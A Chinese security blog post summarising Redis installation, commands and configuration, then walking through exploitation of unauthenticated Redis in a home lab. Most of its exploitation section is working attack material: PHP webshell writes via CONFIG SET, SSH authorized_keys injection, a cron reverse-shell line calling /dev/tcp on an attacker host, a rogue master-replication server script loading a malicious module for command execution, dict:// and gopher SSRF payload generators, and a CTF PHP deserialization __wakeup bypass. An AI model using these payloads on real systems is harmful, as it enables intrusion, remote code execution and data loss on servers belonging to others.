纸上得来终觉浅——Redis 个人总结

阅读量381206

|评论2

|

发布时间 : 2021-10-26 17:30:58

 

提及 Redis 自然是耳熟能详,说起 Redis 的漏洞的话,未授权访问漏洞、主从复制漏洞等也是张口就来,缺乏实际操作的情况下,终究只是纸上谈兵,所以打算对 Redis 进行一个全面的总结。

 

Redis 简介

直接抄取百度百科上的一段话 “Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。”redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set —有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

我对 Redis 的认知就是 — 这是一个数据库,默认端口是6379,拥有很多漏洞。

 

Redis 安装

  • Linux 编译安装,安装后仅能在安装目录下运行
    wget https://download.redis.io/releases/redis-6.2.5.tar.gz
    tar xzf redis-6.2.5.tar.gz
    cd redis-6.2.5
    make
    # 启动 redis 服务,可以指定配置文件启动(若不指定则以默认的配置文件启动)
    cd src
    ./redis-server
    # 启动 redis 客户端
    ./redis-cli
    
  • Ubuntu apt 命令安装
    sudo apt update
    sudo apt install redis-server
    redis-server
    redis-cli
    
  • Windows 安装
    https://github.com/MicrosoftArchive/redis/releases
    下载 Redis-x64-3.0.504.zip 并解压
    redis-server.exe redis.windows.conf
    

 

Redis 命令

Redis 也是分为服务端和客户端的,服务端上执行的是客户端发送过来的命令(感觉好像一句废话)。Redis 在安装完成之后会有 redis-cli

redis-cli -h host                        # 免密登录
redis-cli -h host -p port -a password   # 使用 Redis 密码登录 Redis 服务
# 与 Redis 服务连接成功后,执行 PING 命令,如果服务器运作正常的话,会返回一个 PONG

 

Redis 语法

  • Redis 键命令的基本语法为: COMMAND KEY_NAME
  • 使用 * 可以获取所有配置项(GET 、 KEYS)
  • 使用 SET 和 GET 命令,可以完成基本的赋值和取值操作;
  • Redis 不区分命令的大小写,set 和 SET 是同一个意思;
  • 如果键的值中有空格,需要使用双引号括起来;
SET key "Hello World"                        # 设置键 key 的值为字符串 Hello World
GET key                                     # 获取键 key 的值,如果 key 不存在,返回 nil 。如果key 储存的值不是字符串类型,返回一个错误
DEL key                                     # 删除键 key
KEYS *                                      # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key
SAVE                                           # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件
CONFIG GET requirepass                         # 用于获取 redis 服务的配置参数,通过 CONFIG 命令查看或设置配置项
CONFIG REWRITE requirepass "123456"         # 对 redis.conf 配置文件进行改写,重启后才会被修改
CONFIG SET requirepass "123456"             # 动态地调整 Redis 服务器的配置(configuration)而无须重启
Flushall                                    # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)
SELECT index                                # Redis Select 命令用于切换到指定的数据库,数据库索引号 index 用数字值指定,以 0 作为起始索引值。

 

Redis 配置文件

Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf(Windows 名为 redis.windows.conf)。当然也可以通过指定配置文件来进行启动。列举一些重要的配置项进行说明。

配置项 说明
port 6379 指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1 绑定的主机地址,格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如 bind 192.168.1.100 10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数,则绑定在本机的所有IP地址上。
save <seconds> <changes> 格式为 save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份也就是指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb 指定本地数据库文件名,默认值为 dump.rdb
dir ./ 指定本地数据库存放目录,指明 Redis 的工作目录为设定的目录,Redis 产生的备份文件将放在这个目录下
requirepass foobared 设置 Redis 连接密码,如果配置了连接密码,客户端在连接 Redis 时需要通过 AUTH <password> 命令提供密码,默认关闭
protected-mode redis3.2 版本后新增 protected-mode 配置,默认是 yes ,用于设置外部网络连接 redis 服务。关闭 protected-mode 模式,此时外部网络可以直接访问。开启 protected-mode 保护模式,需配置 bind ip 或者设置访问密码。

 

Redis 漏洞利用

前置条件

注意到 3.2.0 版本后 redis.conf 配置文件中两个比较重要的参数 bind 以及 protected-mode

经过验证,唯有以下情况可以满足未授权访问 Redis

  • 未开启登录认证(即没有配置登录密码,默认即可满足),将 redis 绑定到了0.0.0.0(设置bind 参数为 0.0.0.0)
  • 未开启登录认证(即没有配置登录密码,默认即可满足),未绑定 redis 到任何地址(将 bind 参数注释掉),关闭保护模式(设置 protected-mode 的参数为no)

利用 Redis 写入webshell

Redis 存在未授权访问的情况下,也开启了 web 服务,知道 web 目录的路径,具有文件读写权限,就可以通过 redis 在指定的 web 目录下写入shell文件。

# 安装 php 服务
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install php5.6
# 安装开启 apache 服务
sudo apt install apache2
service apache2 start

config set dir /var/www/html/ 
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>" 
# set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"   
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
save

写入之后查看/var/www/html/目录下的shell.php文件内容

可以通过蚁剑直接连接,很奇怪的是无法直接在页面上执行

写 ssh-keygen 公钥登录服务器

Redis 存在未授权访问的情况下,开启了 ssh 服务,在数据库中插入一条数据,将本机的公钥作为 value,key 值随意,然后可以通过修改数据库的保存路径为 /root/.ssh 和保存文件名为 authorized.keys ,备份数据库之后就可以在服务器端的 /root/.ssh 下生成一个key。

# 安装 openssh 服务
sudo apt-get install openssh-server
# 启动 ssh 服务
sudo /etc/init.d/ssh start
# 配置 root 用户连接权限
sudo  vim /etc/ssh/sshd_config
PermitRootLogin yes
# 设置允许通过免密登录
AuthorizedKeysFile    .ssh/authorized_keys .ssh/authorized_keys2
# 重启 ssh 服务
sudo /etc/init.d/ssh restart
ssh-keygen -t rsa
cat /home/root/.ssh/id_rsa.pub

可以像写 webshell 一样将文件写入

config set dir /root/.ssh/config 
set dbfilename authorized_keysset xxx "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjUxxZ6e/DvN5QDim8ioSIJ9tK+fugqFLcgHckaYrqPGERMlUvQOnxbl9s87uGf1FslRX4fySoC81p0C1EC1mNzj7C7ozJpcu+5HsIV12jqh9Cl98TALXmOTepvC74SaFgyzL0tQui90gAWiTgUq155OgonBhmUW+xsuJ3B3K6/Bh+dbMwI5F9NdBbynRDJcf25lp6YHp7XUy0yUYJGR1v62epkZTWjrhbDBXK609CSsg//r02P7n3mehvTtaHKZZQQL5VdAVh6fT3udsR+Mr2Ar9oZz2Rhr+S8p4scEjiUjcF3Leddooh3uGlaBowJtyInImMDP/TP4t57aeD8Pr root@root" 
save

为了方便操作也可以采用这种方法

(echo -e "\n\n"; cat /home/root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.10.128 -x set xxx
redis-cli -h 192.168.10.128    
> config set dir /root/.ssh/    
> config set dbfilename authorized_keys    
> save
ssh -i /home/root/.ssh/id_rsa root@192.168.10.128

第一次设置的时候会报错 (error) ERR Changing directory: No such file or directory 是靶机上并不存在这个目录,原因是 .ssh 是记录密码信息的文件夹,如果 root 用户没有登录过的话,就没有 .ssh 文件夹,所以我们可以通过这条命令 ssh localhost 或者手动创建 .ssh 目录。

利用计划任务反弹shell

Centos

在 Centos 上安装完成 redis 后要记得关闭防火墙 service firewalld stop 否则即使能 ping 通,redis 也无法连接。

config set dir /var/spool/cron/ config 
set dbfilename rootset xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.1/9999 0>&1\n\n"
save

连接靶机 Redis,写入反弹 shell 的计划任务:

查看靶机上的计划任务

开启监听,获得反弹回来的 shell

Ubuntu

看了这篇文章 解决ubuntu crontab反弹shell失败的问题 仔细分析了一下,发现复现研究意义不大,因为还需要去修改权限,不可能存在这样的场景,但是作者分析解决的思路还是很值得学习的。

总结

这个方法只能在 Centos 上使用,Ubuntu 上行不通,原因如下:

+ 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 `/var/spool/cron/crontabs/<username>` 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 `/var/spool/cron/<username>` 权限 644 也可以执行
+ 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错。

由于系统的不同,crontrab 定时文件位置也不同:

+ Centos 的定时任务文件在 `/var/spool/cron/<username>`
+ Ubuntu 的定时任务文件在 `/var/spool/cron/crontabs/<username>`

利用主从复制获取shell

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

Linux

在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。

sudo docker pull vertigo/redis4
sudo docker run -p 6379:6379 vertigo/redis4
redis-rce

redis-rce

生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so

redis-rogue-server

redis-rogue-server

git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-serve
python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1

Redis主从复制手动挡
import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True: 
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()         
            conn.send(resp) 
        #elif "exit" in data:
            break



if __name__=="__main__":

    parser = OptionParser()                  
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")      
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")         

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename    
    RogueServer(lport)

redis-cli -h 192.168.10.187
> ping
> config set dir ./               # 设置redis的备份路径为当前目录
> config set dbfilename exp.so    # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999       # 设置主服务器IP和端口
> module load ./exp.so            # 加载恶意模块
> slaveof no one                  # 切断主从,关闭复制功能
> system.exec 'whoami'            # 执行系统命令
> config set dbfilename dump.rdb  # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so'       # 删除exp.so
> module unload system            # 卸载system模块的加载

windows

Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。

RedisWriteFile

RedisWriteFile 利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave, master 数据空间保证绝对干净,轻松实现了写无损文件。

参考文章 对 Redis 在 Windows 下的利用方式思考 踩坑记录-Redis(Windows)的getshell可以利用以下方式

  • 系统 DLL劫持 (目标重启或注销)
  • 针对特定软件的 DLL 劫持(目标一次点击)
  • 覆写目标的快捷方式 (目标一次点击)
  • 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
  • 覆写 sethc.exe 等文件 (攻击方一次触发)
  • mof 等

因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件

python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1  --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt"  --lfile="test.txt"

哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。

 

Redis 漏洞在 ssrf 中的利用

dict 协议

dict://serverip:port/命令:参数

获取信息 curl dict://192.168.10.187:6379/info

curl dict://192.168.10.187:6379
curl dict://192.168.10.187:6379/config:set:dir:./  
curl dict://192.168.10.187:6379/config:set:dbfilename:exp.so     # 设置保存文件名
curl dict://192.168.10.187:6379/slaveof:192.168.10.1:9090        # 连接远程主服务器
curl dict://192.168.10.187:6379/module:load:./exp.so             # 加载恶意模块
curl dict://192.168.10.187:6379/slaveof:no:one                   # 切断主从,关闭复制功能
curl dict://192.168.10.187:6379/config:set:dbfilename:dump.rdb   # 通过dump.rdb文件恢复数据
curl dict://192.168.10.187:6379/system.exec:'whoami'             # 执行系统命令
curl dict://192.168.10.187:6379/system.exec:rm:'./exp.so'        # 删除exp.so
curl dict://192.168.10.187:6379/module:unload:system             # 卸载system模块的加载

成功会有一定的概率性问题,我在尝试的时候无法达到百分百的成功。

gopher 协议

可以利用 goherus.py 来实现

git clone https://github.com/tarunkant/Gopherus.git
python gopherus.py --exploit redis

import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""                                                          # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",                                                   # 实际利用不要用 flushall,会清空整个 Redis 服务器的数据
     "set 1 {}".format(shell.replace(" ","${IFS}")),               # 可以用 select 1 来切换数据库
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

上面的脚本是写入 webshell 的,如果想利用 ssh-keygen 或者 计划任务只需要简单的修改脚本即可

分享一道前段时间天翼杯中涉及到 Redis 的题目

 

easy_eval

<?php  
class A{  
    public $code = "";  
    function __call($method,$args){  
        eval($this->code);  

    }  
    function __wakeup(){  
        $this->code = "";  
    }  
}  

class B{  
    function __destruct(){  
        echo $this->a->a();  
    }  
}  
if(isset($_REQUEST['poc'])){  
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);  
    if (isset($ret[1])) {  
        foreach ($ret[1] as $i) {  
            if(intval($i)!==1){  
                exit("you want to bypass wakeup ? no !");  
            }  
        }  
        unserialize($_REQUEST['poc']);      
    }  


}else{  
    highlight_file(__FILE__);  
}

我们注意到反序列化时有 __wakeup 方法,在反序列化时,unserialize() 会检查是否存在__wakeup 方法,如果存在则会先调用,所以我们要想办法进行绕过

  • 当成员属性数目大于实际数目时可以绕过 wakeup 方法
  • 删除掉序列化数据的最后一个 } 或者在 最后两个 } 中间加上 ; 原理

但是获取参数 poc 后会进行正则的判断

preg_match_all(‘/“[BA]”:(.*?):/s’,$_REQUEST[‘poc’],$ret);

获取的就是类 A 以及类 B 的成员属性的数目。

普通构造反序列化 payload

<?php
class A{
    public $code = "";
    public function __construct(){
        $this->code = 'eval($_POST[cmd]);';
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    public function __construct(){
        $this->a = new A();
    }
}
$s = serialize(new B);

echo $s ;

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:18:"eval($_POST[cmd]);";}}

虽然绕过了正则匹配,但是没有绕过 __wakeup

修改 class A 的成员属性数目O:1:"B":1:{s:1:"a";O:1:"A":2:{s:4:"code";s:18:"eval($_POST[cmd]);";}}

虽然可以绕过__wakeup,但是会被正则匹配拦截

利用 PHP 对类名大小写不敏感绕过正则 O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

完美,但是我猜测出题人并不想考察这个知识点,而是一种新的 __wakeup 的绕过思路

删除生成序列化数据的最后一个 } O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}

因为 disable_function 禁用了大部分的命令执行函数,所以直接通过蚁剑链接

发现无法命令执行,所以进行端口的扫描

发现开放了6379 redis 端口,寻找其中的配置文件

找到 redis 的账号和密码进行连接

/var/www/html 的目录是不可写的,但是利用 Redis 可以直接写文件到该目录下

但是此处再写进去一个shell 也没什么用,是需要利用到 Redis 的主从复制漏洞来实现 RCE

忘记截图了::happy: 具体操作是利用主从复制拷贝恶意so 文件 可参考

当然 tmp 目录有可写权限,直接将 so 文件上传到该目录下执行也可。

本文由标准云⭐原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/255584

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
标准云⭐
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66